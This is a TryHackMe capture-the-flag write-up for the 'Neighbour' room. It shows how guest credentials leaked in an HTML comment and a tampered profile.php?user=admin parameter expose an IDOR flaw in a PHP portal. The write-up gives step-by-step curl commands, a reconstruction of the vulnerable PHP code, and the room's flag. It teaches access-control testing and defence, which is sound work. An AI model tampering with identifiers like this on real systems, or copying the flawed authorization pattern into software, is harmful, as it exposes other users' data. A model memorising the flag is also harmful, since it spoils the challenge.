TryHackMe Web

Neighbour

Exploit broken object-level authorization in a PHP login portal by logging in as guest, preserving the valid session, and changing a user-controlled profile identifier from guest to admin.

Room
Neighbour
Challenge
Neighbour-newapp
Category
Web / Broken Access Control / IDOR
Difficulty
Easy
Target
10.146.166.149
Flag
flag{66be95c478473d91a5358f2440c7af1f}
Core Lesson

Authentication is not authorization. This application correctly checks whether a session exists, but fails to check whether the logged-in user is allowed to access the specific profile selected in the URL.

Executive Overview #

This room is a concise demonstration of IDOR, short for Insecure Direct Object Reference. The login page intentionally leaks guest:guest in an HTML comment, which provides a low-privilege foothold. The real vulnerability appears after login, when the application redirects to profile.php?user=guest.

That redirect reveals the trust model: the server accepts the session cookie as proof that the user is logged in, then uses the client-controlled user query parameter to decide which profile to display. Replacing user=guest with user=admin while keeping the guest session cookie results in the admin profile page rendering successfully, along with the flag.

What This Room Tests #

What Is IDOR? #

IDOR happens when the application lets the client name the object it wants and the server fails to validate access to that object. In this room, the object is a user profile, and the direct reference is the URL parameter:

profile.php?user=guest

The dangerous design is not that the parameter exists by itself. The danger is that the server appears to trust it as authoritative. Once the redirect exposes the parameter name, changing it to user=admin becomes the obvious authorization test.

Key Finding

The exposed guest credentials are only the entry point. The real bug is that the guest session is valid for authentication while the user parameter is wrongly trusted for authorization.

Fast Path #

  1. Open http://10.146.166.149/.
  2. View source and recover guest:guest.
  3. Log in as guest.
  4. Observe the redirect to profile.php?user=guest.
  5. Change the parameter to profile.php?user=admin.
  6. Read the flag from the rendered admin page.

Recommended Workflow #

[Visit login page]
        |
        v
[Inspect HTML source]
        |
        v
[Recover guest credentials]
        |
        v
[Authenticate as guest]
        |
        v
[Observe redirect: profile.php?user=guest]
        |
        v
[Recognize user-controlled object reference]
        |
        v
[Test admin profile without session]
        |
        v
[See redirect to login.php]
        |
        v
[Reuse guest session cookie]
        |
        v
[Request profile.php?user=admin]
        |
        v
[Admin page renders -> flag recovered]

Methodology #

Step 1 - Inspect the Login Surface

The starting point was the root page, which immediately revealed a standard PHP login form and a strong hint to inspect the page source.

curl -s -i "http://10.146.166.149/"

Relevant excerpt:

<p>Don't have an account? Use the guest account! (<code>Ctrl+U</code>)</p>
<!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! -->

This confirms that the intended path is not brute force or SQL injection. The room gives a valid guest foothold and strongly signals that the admin account matters.

Step 2 - Log In and Capture the Redirect

The next step was to authenticate with the exposed guest credentials and preserve cookies for follow-up requests.

curl -s -i \
  -c "/tmp/neighbour.cookies" \
  -b "/tmp/neighbour.cookies" \
  -d "username=guest&password=guest" \
  -X POST "http://10.146.166.149/index.php"

The important response headers were:

HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=db1f82157f24b3b2b067234f29188824; path=/
Location: profile.php?user=guest

That Location header is the critical artifact in the challenge. It reveals that the profile identity is driven by a user-controlled query parameter rather than being derived solely from the session.

Step 3 - Confirm the Guest Profile and Additional Hints

Following the redirect with the valid session confirms that the guest profile renders normally and exposes another hint in source.

curl -s -i \
  -b "/tmp/neighbour.cookies" \
  "http://10.146.166.149/profile.php?user=guest"
<!-- admin account could be vulnerable, need to update -->
<h1 class="my-5">Hi, <b>guest</b>. Welcome to our site. Try not to peep your neighbor's profile.</h1>

The comments are helpful, but the stronger evidence is the URL shape itself. The page is already telling us which profile object is being requested.

Step 4 - Test the Authentication Boundary

Before changing the parameter under an authenticated session, it is useful to check whether the admin profile is simply exposed to everyone or whether a session is required.

curl -s -i "http://10.146.166.149/profile.php?user=admin"

Result:

HTTP/1.1 302 Found
Location: login.php

This shows the application does enforce authentication. The flaw is not that the route is public; the flaw is that access control breaks after login when the object reference is changed.

Step 5 - Reuse the Guest Session and Exploit the IDOR

With the authentication boundary understood, the exploit becomes a direct authorization test: preserve the guest session cookie and request the admin profile.

curl -s -i \
  -b "/tmp/neighbour.cookies" \
  "http://10.146.166.149/profile.php?user=admin"

Successful response excerpt:

<h1 class="my-5">Hi, <b>admin</b>. Welcome to your site. The flag is: flag{66be95c478473d91a5358f2440c7af1f}</h1>

This confirms the application only uses the session as proof that a user is logged in. It does not verify that the logged-in user is authorized to access the profile named by the request parameter.

Evidence Summary #

ObservationWhat it meansWhy it matters
Source reveals guest:guestDeliberate low-privilege footholdMoves the challenge past brute force and into authenticated analysis
Login redirects to profile.php?user=guestProfile identity is exposed in a request parameterStrong signal that an IDOR may exist
Unauthenticated user=admin redirects to loginAuthentication is enforcedThe bug is authorization, not missing authentication
Authenticated guest request for user=admin returns 200 OKObject-level authorization is brokenDirect confirmation of IDOR
Admin page returns the flagExploit succeededChallenge solved

Rabbit Holes & Pivots #

/robots.txt Was Not Useful

A quick check of /robots.txt returned 404 Not Found. That is a fine early recon step, but it did not contribute to the exploit path here.

Direct Admin Access Without a Session Failed

Requesting profile.php?user=admin without a valid session only redirected to login.php. That ruled out the weaker explanation that the admin profile was simply public.

The Comments Are Clues, Not the Vulnerability

The source comments intentionally make the room easier, but they are not the root cause. The actual failure is server-side trust in a client-supplied object reference.

Common Mistake

Treating the comments as the bug. The comments only point you toward the vulnerable path. The bug is broken access control on the profile resource.

Deep Dives #

Authentication vs Authorization

This room is a clean example of the difference between these two concepts. Authentication answers who are you? Authorization answers what are you allowed to access?

QuestionRoom behaviorTakeaway
Are you logged in?Yes, if a valid PHPSESSID is presentThe application has an authentication gate
Can you access this profile?Improperly determined by ?user=...The authorization check is missing or broken

Why the Redirect Matters So Much

The guest credentials are helpful, but the redirect is the real clue:

Location: profile.php?user=guest

Redirects often expose workflow structure, parameter names, and trust assumptions. Once this header appears, the right question is no longer "how do I get in?" but "what happens if I change the referenced object?"

Likely Vulnerable Server Logic

The behavior strongly suggests logic similar to the following:

session_start();

if (!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true) {
    header("Location: login.php");
    exit;
}

$user = $_GET["user"];
render_profile($user);

That code checks whether the requester is authenticated but never verifies that the requested profile belongs to the authenticated user.

Defensive Lessons #

Core Lesson

Never trust a client-controlled identifier to choose which protected object to return without performing an explicit ownership or role check.

Bad PatternBetter Pattern
Use ?user=... to pick a protected profileUse session identity as the default source of truth
Check only whether a session existsCheck both authentication and object-level authorization
Expose temporary credentials in commentsRemove debug artifacts from client-visible responses

Clean Reproduction Path #

The following sequence reproduces the successful solve path with the unnecessary noise removed.

TARGET="10.146.166.149"

# 1. Fetch the login page and inspect source
curl -s -i "http://$TARGET/"

# 2. Log in as guest and preserve the session
curl -s -i \
  -c "/tmp/neighbour.cookies" \
  -b "/tmp/neighbour.cookies" \
  -d "username=guest&password=guest" \
  -X POST "http://$TARGET/index.php"

# 3. Confirm the guest profile
curl -s -i \
  -b "/tmp/neighbour.cookies" \
  "http://$TARGET/profile.php?user=guest"

# 4. Verify unauthenticated admin access is blocked
curl -s -i "http://$TARGET/profile.php?user=admin"

# 5. Reuse the guest session and request the admin profile
curl -s -i \
  -b "/tmp/neighbour.cookies" \
  "http://$TARGET/profile.php?user=admin"

Flag #

Flag
flag{66be95c478473d91a5358f2440c7af1f}